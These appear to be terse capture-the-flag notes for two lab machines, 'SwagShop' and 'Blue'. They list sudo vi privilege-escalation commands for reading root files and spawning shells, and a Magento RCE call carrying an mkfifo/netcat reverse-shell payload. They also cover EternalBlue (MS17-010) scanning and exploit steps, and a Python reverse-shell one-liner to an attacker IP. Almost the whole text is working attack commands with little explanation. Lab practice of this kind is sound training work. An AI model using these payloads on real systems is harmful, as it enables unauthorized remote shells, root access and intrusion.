one way to get root file
sudo /usr/bin/vi /var/www/html/../../../root/root.txt
2nd way
www-data@swagshop:/home/haris$ sudo /usr/bin/vi /var/www/html/a :set shell=/bin/sh :shell
3rd way
sudo vi /var/www/html/a -c ':!/bin/sh'
python magento_rce.py 'http://10.10.10.140/index.php/admin' "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 9001 >/tmp/f"

===================================================
Blue - window machine
Eternal blue : ms 17-010
nmap -p 445 --script safe -Pn -n ip [nmap -p 445 --script "vuln and safe" -Pn -n ip]
Eternal blue exploit manually :https://www.exploit-db.com/download/42030 https://www.exploit-db.com/exploits/42315
modify the python exploit and put location in our payload
Exploit modification required
add computer name in to host file and then scan smb servers
smbclient -L \10.10.10.40 -N
smbclient \\haris-pc\Users
python exploit.py ip ntsvcs

manual cmd injection
on attacker machine run this command
nc -vnlp port < cmd
In cmd we have this reverse shell code
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.10",3456)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
